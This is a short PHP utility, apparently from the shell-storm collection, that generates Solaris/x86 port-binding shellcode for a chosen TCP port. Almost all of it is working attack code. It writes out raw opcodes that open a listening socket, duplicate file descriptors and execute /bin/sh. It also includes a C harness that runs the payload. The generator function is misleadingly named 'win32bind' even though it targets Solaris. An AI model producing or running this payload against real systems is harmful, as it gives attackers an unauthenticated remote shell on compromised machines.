solaris/x86 portbind/tcp shellcode generator

<?php /* Utility : Solaris/x86 - Generate PortBind/TCP shellcode Author : Jonathan Salwan Mail : submit [!] shell-storm.org More shellcodes in => http://www.shell-storm.org/shellcode/ */ function syntax() { echo "\nSyntax:\nroot@laptop:/# php ./payload.php <port>\n\n"; } function win32bind($port) { if($port > 65535 || $port < 4100){ echo "Erreur Port\nSelect a port between 4100 and 65535\n"; return false; } $inser .= "\nchar shellcode[] = \n"; $inser .= " /* BindPort TCP/$port; Os:Solaris; Gen:http://payload.shell-storm.org */\n"; $inser .= "\n"; $inser .= " \x22\\xb8\\xff\\xf8\\xff\\x3c\\xf7\\xd0\\x50\\x31\\xc0\\xb0\\x9a\\x50\\x89\\xe5\\x31\\xc9\x22\n"; $inser .= " \x22\\x51\\x41\\x41\\x51\\x51\\xb0\\xe6\\xff\\xd5\\x31\\xd2\\x89\\xc7\\x52\\x66\\x68\x22\n"; $inser .= " \x22\\x"; $res_port = base_convert($port, 10, 16); $length = strlen($res_port)-1; $i = 1; for($idx = 0; $idx < $length+1; $idx++) { $i++; if($i == 4) $inser .= "\\x"; $inser .= $res_port[$idx]; } $inser .= "\x22 /* Port ".$port." */\n"; $inser .= " \x22\\x66\\x51\\x89\\xe6\\x6a\\x10\\x56\\x57\\xb0\\xe8\\xff\\xd5\\xb0\\xe9\\xff\\xd5\x22\n"; $inser .= " \x22\\x50\\x50\\x57\\xb0\\xea\\xff\\xd5\\x31\\xd2\\xb2\\x09\\x51\\x52\\x50\\xb0\\x3e\x22\n"; $inser .= " \x22\\xff\\xd5\\x49\\x79\\xf2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\x22\n"; $inser .= " \x22\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\\xff\\xd5\x22\x3b\n"; $inser .= "\n"; $inser .= " printf(\x22Length: %d\\n\x22,strlen(shellcode));\n"; $inser .= " (*(void(*)()) shellcode)();</br>"; $inser .= "\n"; $inser .= "\n"; return $inser; } if($argc < 2){ syntax(); return false; } $port = $argv[1]; echo win32bind($port); ?>